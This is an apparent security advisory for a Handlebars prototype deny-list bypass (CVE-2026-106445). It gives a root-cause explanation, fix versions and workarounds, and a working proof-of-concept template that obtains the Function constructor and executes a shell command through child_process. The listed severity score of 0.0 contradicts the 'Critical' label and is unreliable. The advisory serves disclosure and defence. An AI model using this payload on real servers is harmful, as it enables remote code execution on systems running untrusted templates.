GHSA-p8wg-vrv2-v86f CVE-2026-106445
Handlebars: JavaScript Injection via Own Property Check Bypass
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.59%
- Chance of exploitation in the next 30 days. Higher than 48.16% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-1289 Improper Validation of Unsafe Equivalence in Input
- CWE-184 Incomplete List of Disallowed Inputs
- Fix
4.7.10- Upgrade handlebars to this version or later
Description
Summary
Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
lookupProperty trusts own properties:
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return result;
}
Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:
Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;
As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.
Proof of Concept
An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:
- Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
- Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
- Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
const Handlebars = require('handlebars');
// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
// construct code array from template string literal
'{{#with a}}' +
'{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
'{{lookup "" (pop)}}' +
'{{lookup "" (shift)}}' +
'{{/with}}' +
// access Function via own property bypass on Function.prototype.constructor
'{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +
// #each sets depth0=Function without calling it, apply avoids hash body
'{{#each @root}}{{#if @index}}{{else}}' +
'{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
'{{/if}}{{/each}}'
);
const result = template(
{ fn: function(){}, a: [0] },
{ allowProtoMethodsByDefault: true }
);
console.log(result.trim());
// output: uid=1000(node) gid=1000(node) groups=1000(node)
Workarounds
Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.
If you are using packages like hbs which set allowProtoMethodsByDefault: true by default, you have to update Handlebars to the latest version.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| handlebars | >= 3.0.0, < 4.7.10 |
4.7.10 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
handlebars npm → 4.7.10
- npm
npm install handlebars@4.7.10- yarn
yarn add handlebars@4.7.10- pnpm
pnpm add handlebars@4.7.10
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- Present
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-1289: Improper Validation of Unsafe Equivalence in Input
The product receives an input value that is used as a resource identifier or other type of reference, but it does not validate or incorrectly validates that the input is equivalent to a potentially-unsafe value.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
CWE-184: Incomplete List of Disallowed Inputs
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
How to prevent it
- Implementation: Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-8r5x-fm3f-whwj Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937) | Critical | Also affects handlebars |
| GHSA-xw65-4hp5-5hc7 Handlebars: JavaScript Injection via Unsafe Inline Embedding of Precompiled Templates | Medium | Also affects handlebars |
| GHSA-7rx3-28cr-v5wh Handlebars.js has a Prototype Method Access Control Gap via Missing __lookupSetter__ Blocklist Entry | Medium | Also affects handlebars |
| GHSA-442j-39wm-28r2 Handlebars.js has a Property Access Validation Bypass in container.lookup | Low | Also affects handlebars |
| GHSA-xjpj-3mr7-gcpf Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options | High | Also affects handlebars |
| GHSA-xhpv-hc6g-r9c6 Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial | High | Also affects handlebars |
| GHSA-9cx6-37pm-9jff Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation | High | Also affects handlebars |
| GHSA-3mfm-83xf-c92r Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block | High | Also affects handlebars |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor